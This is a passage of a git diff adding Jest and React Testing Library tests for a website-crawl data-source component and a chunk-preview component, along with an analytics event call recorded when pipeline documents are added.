+      expect(screen.getByTestId('crawling-crawled-num')).toHaveTextContent('0')
+      expect(screen.getByTestId('crawling-total-num')).toHaveTextContent('0')
+    })
+
+    it('should update step and result via ssePost callbacks', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const mockCrawlData: CrawlResultItem[] = [
+        createMockCrawlResultItem({ source_url: 'https://example.com/1' }),
+        createMockCrawlResultItem({ source_url: 'https://example.com/2' }),
+      ]
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        // Simulate processing
+        callbacks.onDataSourceNodeProcessing({
+          total: 10,
+          completed: 5,
+        })
+        // Simulate completion
+        callbacks.onDataSourceNodeCompleted({
+          data: mockCrawlData,
+          time_consuming: 2.5,
+        })
+      })
+
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act - Trigger submit
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockStoreState.setStep).toHaveBeenCalledWith(CrawlStep.running)
+        expect(mockStoreState.setCrawlResult).toHaveBeenCalledWith({
+          data: mockCrawlData,
+          time_consuming: 2.5,
+        })
+        expect(mockStoreState.setStep).toHaveBeenCalledWith(CrawlStep.finished)
+      })
+    })
+
+    it('should pass runDisabled as true when no credential is selected', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = ''
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('options-run-disabled')).toHaveTextContent('true')
+    })
+
+    it('should pass runDisabled as true when params are being fetched', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockUsePublishedPipelinePreProcessingParams.mockReturnValue({
+        data: { variables: [] },
+        isFetching: true,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('options-run-disabled')).toHaveTextContent('true')
+    })
+
+    it('should pass runDisabled as false when credential is selected and params are loaded', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockUsePublishedPipelinePreProcessingParams.mockReturnValue({
+        data: { variables: [] },
+        isFetching: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('options-run-disabled')).toHaveTextContent('false')
+    })
+  })
+
+  // ==========================================
+  // Callback Stability and Memoization
+  // ==========================================
+  describe('Callback Stability and Memoization', () => {
+    it('should have stable handleCheckedCrawlResultChange that updates store', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [createMockCrawlResultItem()],
+        time_consuming: 1.5,
+      }
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('crawled-result-select-change'))
+
+      // Assert
+      expect(mockStoreState.setWebsitePages).toHaveBeenCalledWith([
+        { source_url: 'https://example.com', title: 'Test' },
+      ])
+    })
+
+    it('should have stable handlePreview that updates store', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [createMockCrawlResultItem()],
+        time_consuming: 1.5,
+      }
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('crawled-result-preview'))
+
+      // Assert
+      expect(mockStoreState.setCurrentWebsite).toHaveBeenCalledWith({
+        source_url: 'https://example.com',
+        title: 'Test',
+      })
+      expect(mockStoreState.setPreviewIndex).toHaveBeenCalledWith(0)
+    })
+
+    it('should have stable handleSetting callback', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('header-config-btn'))
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+        payload: ACCOUNT_SETTING_TAB.DATA_SOURCE,
+      })
+    })
+
+    it('should have stable handleCredentialChange that resets state', () => {
+      // Arrange
+      const mockOnCredentialChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnCredentialChange })
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('header-credential-change'))
+
+      // Assert
+      expect(mockOnCredentialChange).toHaveBeenCalledWith('new-cred-id')
+    })
+  })
+
+  // ==========================================
+  // User Interactions and Event Handlers
+  // ==========================================
+  describe('User Interactions and Event Handlers', () => {
+    it('should handle submit and trigger ssePost', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalled()
+        expect(mockStoreState.setStep).toHaveBeenCalledWith(CrawlStep.running)
+      })
+    })
+
+    it('should handle configuration button click', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('header-config-btn'))
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+        payload: ACCOUNT_SETTING_TAB.DATA_SOURCE,
+      })
+    })
+
+    it('should handle credential change', () => {
+      // Arrange
+      const mockOnCredentialChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnCredentialChange })
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('header-credential-change'))
+
+      // Assert
+      expect(mockOnCredentialChange).toHaveBeenCalledWith('new-cred-id')
+    })
+
+    it('should handle selection change in CrawledResult', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [createMockCrawlResultItem()],
+        time_consuming: 1.5,
+      }
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('crawled-result-select-change'))
+
+      // Assert
+      expect(mockStoreState.setWebsitePages).toHaveBeenCalled()
+    })
+
+    it('should handle preview in CrawledResult', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [createMockCrawlResultItem()],
+        time_consuming: 1.5,
+      }
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('crawled-result-preview'))
+
+      // Assert
+      expect(mockStoreState.setCurrentWebsite).toHaveBeenCalled()
+      expect(mockStoreState.setPreviewIndex).toHaveBeenCalled()
+    })
+  })
+
+  // ==========================================
+  // API Calls Mocking
+  // ==========================================
+  describe('API Calls', () => {
+    it('should call ssePost with correct parameters for published workflow', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'test-cred'
+      mockPipelineId = 'pipeline-456'
+      const props = createDefaultProps({
+        nodeId: 'node-789',
+        isInPipeline: false,
+      })
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalledWith(
+          '/rag/pipelines/pipeline-456/workflows/published/datasource/nodes/node-789/run',
+          expect.objectContaining({
+            body: expect.objectContaining({
+              inputs: { url: 'https://example.com', depth: 2 },
+              datasource_type: 'website_crawl',
+              credential_id: 'test-cred',
+              response_mode: 'streaming',
+            }),
+          }),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it('should call ssePost with correct parameters for draft workflow', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'test-cred'
+      mockPipelineId = 'pipeline-456'
+      const props = createDefaultProps({
+        nodeId: 'node-789',
+        isInPipeline: true,
+      })
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalledWith(
+          '/rag/pipelines/pipeline-456/workflows/draft/datasource/nodes/node-789/run',
+          expect.any(Object),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it('should handle onDataSourceNodeProcessing callback correctly', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockStoreState.step = CrawlStep.running
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeProcessing({
+          total: 100,
+          completed: 50,
+        })
+      })
+
+      const props = createDefaultProps()
+      const { rerender } = render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Update store state to simulate running step
+      mockStoreState.step = CrawlStep.running
+      rerender(<WebsiteCrawl {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle onDataSourceNodeCompleted callback correctly', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const mockCrawlData: CrawlResultItem[] = [
+        createMockCrawlResultItem({ source_url: 'https://example.com/1' }),
+        createMockCrawlResultItem({ source_url: 'https://example.com/2' }),
+      ]
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeCompleted({
+          data: mockCrawlData,
+          time_consuming: 3.5,
+        })
+      })
+
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockStoreState.setCrawlResult).toHaveBeenCalledWith({
+          data: mockCrawlData,
+          time_consuming: 3.5,
+        })
+        expect(mockStoreState.setWebsitePages).toHaveBeenCalledWith(mockCrawlData)
+        expect(mockStoreState.setStep).toHaveBeenCalledWith(CrawlStep.finished)
+      })
+    })
+
+    it('should handle onDataSourceNodeCompleted with single result when supportBatchUpload is false', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const mockCrawlData: CrawlResultItem[] = [
+        createMockCrawlResultItem({ source_url: 'https://example.com/1' }),
+        createMockCrawlResultItem({ source_url: 'https://example.com/2' }),
+        createMockCrawlResultItem({ source_url: 'https://example.com/3' }),
+      ]
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeCompleted({
+          data: mockCrawlData,
+          time_consuming: 3.5,
+        })
+      })
+
+      const props = createDefaultProps({ supportBatchUpload: false })
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert
+      await waitFor(() => {
+        // Should only select first item when supportBatchUpload is false
+        expect(mockStoreState.setWebsitePages).toHaveBeenCalledWith([mockCrawlData[0]])
+      })
+    })
+
+    it('should handle onDataSourceNodeError callback correctly', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeError({
+          error: 'Crawl failed: Invalid URL',
+        })
+      })
+
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockStoreState.setStep).toHaveBeenCalledWith(CrawlStep.finished)
+      })
+    })
+
+    it('should use useGetDataSourceAuth with correct parameters', () => {
+      // Arrange
+      const nodeData = createMockNodeData({
+        plugin_id: 'website-plugin',
+        provider_name: 'website-provider',
+      })
+      const props = createDefaultProps({ nodeData })
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(mockUseGetDataSourceAuth).toHaveBeenCalledWith({
+        pluginId: 'website-plugin',
+        provider: 'website-provider',
+      })
+    })
+
+    it('should pass credentials from useGetDataSourceAuth to Header', () => {
+      // Arrange
+      const mockCredentials = [
+        createMockCredential({ id: 'cred-1', name: 'Credential 1' }),
+        createMockCredential({ id: 'cred-2', name: 'Credential 2' }),
+      ]
+      mockUseGetDataSourceAuth.mockReturnValue({
+        data: { result: mockCredentials },
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-credentials-count')).toHaveTextContent('2')
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle empty credentials array', () => {
+      // Arrange
+      mockUseGetDataSourceAuth.mockReturnValue({
+        data: { result: [] },
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-credentials-count')).toHaveTextContent('0')
+    })
+
+    it('should handle undefined dataSourceAuth result', () => {
+      // Arrange
+      mockUseGetDataSourceAuth.mockReturnValue({
+        data: { result: undefined },
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-credentials-count')).toHaveTextContent('0')
+    })
+
+    it('should handle null dataSourceAuth data', () => {
+      // Arrange
+      mockUseGetDataSourceAuth.mockReturnValue({
+        data: null,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-credentials-count')).toHaveTextContent('0')
+    })
+
+    it('should handle empty crawlResult data array', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [],
+        time_consuming: 0.5,
+      }
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('crawled-result-count')).toHaveTextContent('0')
+    })
+
+    it('should handle undefined crawlResult', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = undefined
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('crawled-result-count')).toHaveTextContent('0')
+    })
+
+    it('should handle time_consuming as string', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [createMockCrawlResultItem()],
+        time_consuming: '2.5',
+      }
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('crawled-result-used-time')).toHaveTextContent('2.5')
+    })
+
+    it('should handle invalid time_consuming value', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [createMockCrawlResultItem()],
+        time_consuming: 'invalid',
+      }
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert - NaN should become 0
+      expect(screen.getByTestId('crawled-result-used-time')).toHaveTextContent('0')
+    })
+
+    it('should handle undefined pipelineId gracefully', () => {
+      // Arrange
+      mockPipelineId = undefined
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(mockUsePublishedPipelinePreProcessingParams).toHaveBeenCalledWith(
+        { pipeline_id: undefined, node_id: 'node-1' },
+        false, // enabled should be false when pipelineId is undefined
+      )
+    })
+
+    it('should handle empty nodeId gracefully', () => {
+      // Arrange
+      const props = createDefaultProps({ nodeId: '' })
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(mockUsePublishedPipelinePreProcessingParams).toHaveBeenCalledWith(
+        { pipeline_id: 'pipeline-123', node_id: '' },
+        false, // enabled should be false when nodeId is empty
+      )
+    })
+
+    it('should handle undefined paramsConfig.variables (fallback to empty array)', () => {
+      // Arrange - Test the || [] fallback on line 169
+      mockUsePublishedPipelinePreProcessingParams.mockReturnValue({
+        data: { variables: undefined },
+        isFetching: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert - Options should receive empty array as variables
+      expect(screen.getByTestId('options-variables-count')).toHaveTextContent('0')
+    })
+
+    it('should handle undefined paramsConfig (fallback to empty array)', () => {
+      // Arrange - Test when paramsConfig is undefined
+      mockUsePublishedPipelinePreProcessingParams.mockReturnValue({
+        data: undefined,
+        isFetching: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert - Options should receive empty array as variables
+      expect(screen.getByTestId('options-variables-count')).toHaveTextContent('0')
+    })
+
+    it('should handle error without error message', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeError({
+          error: undefined,
+        })
+      })
+
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert - Should use fallback error message
+      await waitFor(() => {
+        expect(mockStoreState.setStep).toHaveBeenCalledWith(CrawlStep.finished)
+      })
+    })
+
+    it('should handle null total and completed in processing callback', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeProcessing({
+          total: null,
+          completed: null,
+        })
+      })
+
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert - Should handle null values gracefully (default to 0)
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle undefined time_consuming in completed callback', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeCompleted({
+          data: [createMockCrawlResultItem()],
+          time_consuming: undefined,
+        })
+      })
+
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockStoreState.setCrawlResult).toHaveBeenCalledWith({
+          data: [expect.any(Object)],
+          time_consuming: 0,
+        })
+      })
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations
+  // ==========================================
+  describe('Prop Variations', () => {
+    it.each([
+      [{ isInPipeline: true, supportBatchUpload: true }],
+      [{ isInPipeline: true, supportBatchUpload: false }],
+      [{ isInPipeline: false, supportBatchUpload: true }],
+      [{ isInPipeline: false, supportBatchUpload: false }],
+    ])('should render correctly with props %o', (propVariation) => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [createMockCrawlResultItem()],
+        time_consuming: 1.5,
+      }
+      const props = createDefaultProps(propVariation)
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('crawled-result')).toBeInTheDocument()
+      expect(screen.getByTestId('crawled-result-show-preview')).toHaveTextContent(
+        String(!propVariation.isInPipeline),
+      )
+      expect(screen.getByTestId('crawled-result-multiple-choice')).toHaveTextContent(
+        String(propVariation.supportBatchUpload),
+      )
+    })
+
+    it('should use default values for optional props', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [createMockCrawlResultItem()],
+        time_consuming: 1.5,
+      }
+      const props: WebsiteCrawlProps = {
+        nodeId: 'node-1',
+        nodeData: createMockNodeData(),
+        onCredentialChange: jest.fn(),
+        // isInPipeline and supportBatchUpload are not provided
+      }
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert - Default values: isInPipeline = false, supportBatchUpload = true
+      expect(screen.getByTestId('crawled-result-show-preview')).toHaveTextContent('true')
+      expect(screen.getByTestId('crawled-result-multiple-choice')).toHaveTextContent('true')
+    })
+  })
+
+  // ==========================================
+  // Error Display
+  // ==========================================
+  describe('Error Display', () => {
+    it('should show ErrorMessage when crawl finishes with error', async () => {
+      // Arrange - Need to create a scenario where error message is set
+      mockStoreState.currentCredentialId = 'cred-1'
+
+      // First render with init state
+      const props = createDefaultProps()
+      const { rerender } = render(<WebsiteCrawl {...props} />)
+
+      // Simulate error by setting up ssePost to call error callback
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeError({
+          error: 'Network error',
+        })
+      })
+
+      // Trigger submit
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Now update store state to finished to simulate the state after error
+      mockStoreState.step = CrawlStep.finished
+      rerender(<WebsiteCrawl {...props} />)
+
+      // Assert - The component should check for error message state
+      await waitFor(() => {
+        expect(mockStoreState.setStep).toHaveBeenCalledWith(CrawlStep.finished)
+      })
+    })
+
+    it('should not show ErrorMessage when crawl finishes without error', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [createMockCrawlResultItem()],
+        time_consuming: 1.5,
+      }
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.queryByTestId('error-message')).not.toBeInTheDocument()
+      expect(screen.getByTestId('crawled-result')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Integration Tests
+  // ==========================================
+  describe('Integration', () => {
+    it('should complete full workflow: submit -> running -> completed', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const mockCrawlData: CrawlResultItem[] = [
+        createMockCrawlResultItem({ source_url: 'https://example.com/1' }),
+        createMockCrawlResultItem({ source_url: 'https://example.com/2' }),
+      ]
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        // Simulate processing
+        callbacks.onDataSourceNodeProcessing({
+          total: 10,
+          completed: 5,
+        })
+        // Simulate completion
+        callbacks.onDataSourceNodeCompleted({
+          data: mockCrawlData,
+          time_consuming: 2.5,
+        })
+      })
+
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act - Trigger submit
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert - Verify full flow
+      await waitFor(() => {
+        // Step should be set to running first
+        expect(mockStoreState.setStep).toHaveBeenCalledWith(CrawlStep.running)
+        // Then result should be set
+        expect(mockStoreState.setCrawlResult).toHaveBeenCalledWith({
+          data: mockCrawlData,
+          time_consuming: 2.5,
+        })
+        // Pages should be selected
+        expect(mockStoreState.setWebsitePages).toHaveBeenCalledWith(mockCrawlData)
+        // Step should be set to finished
+        expect(mockStoreState.setStep).toHaveBeenCalledWith(CrawlStep.finished)
+      })
+    })
+
+    it('should handle error flow correctly', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeError({
+          error: 'Failed to crawl website',
+        })
+      })
+
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('options-submit-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockStoreState.setStep).toHaveBeenCalledWith(CrawlStep.running)
+        expect(mockStoreState.setStep).toHaveBeenCalledWith(CrawlStep.finished)
+      })
+    })
+
+    it('should handle credential change and allow new crawl', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'initial-cred'
+      const mockOnCredentialChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnCredentialChange })
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Change credential
+      fireEvent.click(screen.getByTestId('header-credential-change'))
+
+      // Assert
+      expect(mockOnCredentialChange).toHaveBeenCalledWith('new-cred-id')
+    })
+
+    it('should handle preview selection after crawl completes', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [
+          createMockCrawlResultItem({ source_url: 'https://example.com/1' }),
+          createMockCrawlResultItem({ source_url: 'https://example.com/2' }),
+        ],
+        time_consuming: 1.5,
+      }
+      const props = createDefaultProps()
+      render(<WebsiteCrawl {...props} />)
+
+      // Act - Preview first item
+      fireEvent.click(screen.getByTestId('crawled-result-preview'))
+
+      // Assert
+      expect(mockStoreState.setCurrentWebsite).toHaveBeenCalled()
+      expect(mockStoreState.setPreviewIndex).toHaveBeenCalledWith(0)
+    })
+  })
+
+  // ==========================================
+  // Component Memoization
+  // ==========================================
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { rerender } = render(<WebsiteCrawl {...props} />)
+      rerender(<WebsiteCrawl {...props} />)
+
+      // Assert - Component should still render correctly after rerender
+      expect(screen.getByTestId('header')).toBeInTheDocument()
+      expect(screen.getByTestId('options')).toBeInTheDocument()
+    })
+
+    it('should not re-run callbacks when props are the same', () => {
+      // Arrange
+      const onCredentialChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange })
+
+      // Act
+      const { rerender } = render(<WebsiteCrawl {...props} />)
+      rerender(<WebsiteCrawl {...props} />)
+
+      // Assert - The callback reference should be stable
+      fireEvent.click(screen.getByTestId('header-credential-change'))
+      expect(onCredentialChange).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // ==========================================
+  // Styling
+  // ==========================================
+  describe('Styling', () => {
+    it('should apply correct container classes', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      const rootDiv = container.firstChild as HTMLElement
+      expect(rootDiv).toHaveClass('flex', 'flex-col')
+    })
+
+    it('should apply correct classes to options container', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      const optionsContainer = container.querySelector('.rounded-xl')
+      expect(optionsContainer).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/index.tsx b/web/app/components/datasets/documents/create-from-pipeline/index.tsx
index 79e3694da8..eb87c83489 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/index.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/index.tsx
@@ -40,6 +40,7 @@ import UpgradeCard from '../../create/step-one/upgrade-card'
 import Divider from '@/app/components/base/divider'
 import { useBoolean } from 'ahooks'
 import PlanUpgradeModal from '@/app/components/billing/plan-upgrade-modal'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 const CreateFormPipeline = () => {
   const { t } = useTranslation()
@@ -343,6 +344,10 @@ const CreateFormPipeline = () => {
         setBatchId((res as PublishedPipelineRunResponse).batch || '')
         setDocuments((res as PublishedPipelineRunResponse).documents || [])
         handleNextStep()
+        trackEvent('dataset_document_added', {
+          data_source_type: datasourceType,
+          indexing_technique: 'pipeline',
+        })
       },
     })
   }, [dataSourceStore, datasource, datasourceType, handleNextStep, pipelineId, runPublishedPipeline])
diff --git a/web/app/components/datasets/documents/create-from-pipeline/preview/chunk-preview.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/preview/chunk-preview.spec.tsx
new file mode 100644
index 0000000000..a2d2980185
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/preview/chunk-preview.spec.tsx
@@ -0,0 +1,461 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import React from 'react'
+import ChunkPreview from './chunk-preview'
+import { ChunkingMode } from '@/models/datasets'
+import type { CrawlResultItem, CustomFile, FileIndexingEstimateResponse } from '@/models/datasets'
+import type { NotionPage } from '@/models/common'
+import type { OnlineDriveFile } from '@/models/pipeline'
+import { DatasourceType, OnlineDriveFileType } from '@/models/pipeline'
+
+// Uses __mocks__/react-i18next.ts automatically
+
+// Mock dataset-detail context - needs mock to control return values
+const mockDocForm = jest.fn()
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: (_selector: (s: { dataset: { doc_form: ChunkingMode } }) => ChunkingMode) => {
+    return mockDocForm()
+  },
+}))
+
+// Mock document picker - needs mock for simplified interaction testing
+jest.mock('../../../common/document-picker/preview-document-picker', () => ({
+  __esModule: true,
+  default: ({ files, onChange, value }: {
+    files: Array<{ id: string; name: string; extension: string }>
+    onChange: (selected: { id: string; name: string; extension: string }) => void
+    value: { id: string; name: string; extension: string }
+  }) => (
+    <div data-testid="document-picker">
+      <span data-testid="picker-value">{value?.name || 'No selection'}</span>
+      <select
+        data-testid="picker-select"
+        value={value?.id || ''}
+        onChange={(e) => {
+          const selected = files.find(f => f.id === e.target.value)
+          if (selected)
+            onChange(selected)
+        }}
+      >
+        {files.map(f => (
+          <option key={f.id} value={f.id}>{f.name}</option>
+        ))}
+      </select>
+    </div>
+  ),
+}))
+
+// Test data factories
+const createMockLocalFile = (overrides?: Partial<CustomFile>): CustomFile => ({
+  id: 'file-1',
+  name: 'test-file.pdf',
+  size: 1024,
+  type: 'application/pdf',
+  extension: 'pdf',
+  lastModified: Date.now(),
+  webkitRelativePath: '',
+  arrayBuffer: jest.fn() as () => Promise<ArrayBuffer>,
+  bytes: jest.fn() as () => Promise<Uint8Array>,
+  slice: jest.fn() as (start?: number, end?: number, contentType?: string) => Blob,
+  stream: jest.fn() as () => ReadableStream<Uint8Array>,
+  text: jest.fn() as () => Promise<string>,
+  ...overrides,
+} as CustomFile)
+
+const createMockNotionPage = (overrides?: Partial<NotionPage>): NotionPage => ({
+  page_id: 'page-1',
+  page_name: 'Test Page',
+  workspace_id: 'workspace-1',
+  type: 'page',
+  page_icon: null,
+  parent_id: 'parent-1',
+  is_bound: true,
+  ...overrides,
+})
+
+const createMockCrawlResult = (overrides?: Partial<CrawlResultItem>): CrawlResultItem => ({
+  title: 'Test Website',
+  markdown: 'Test content',
+  description: 'Test description',
+  source_url: 'https://example.com',
+  ...overrides,
+})
+
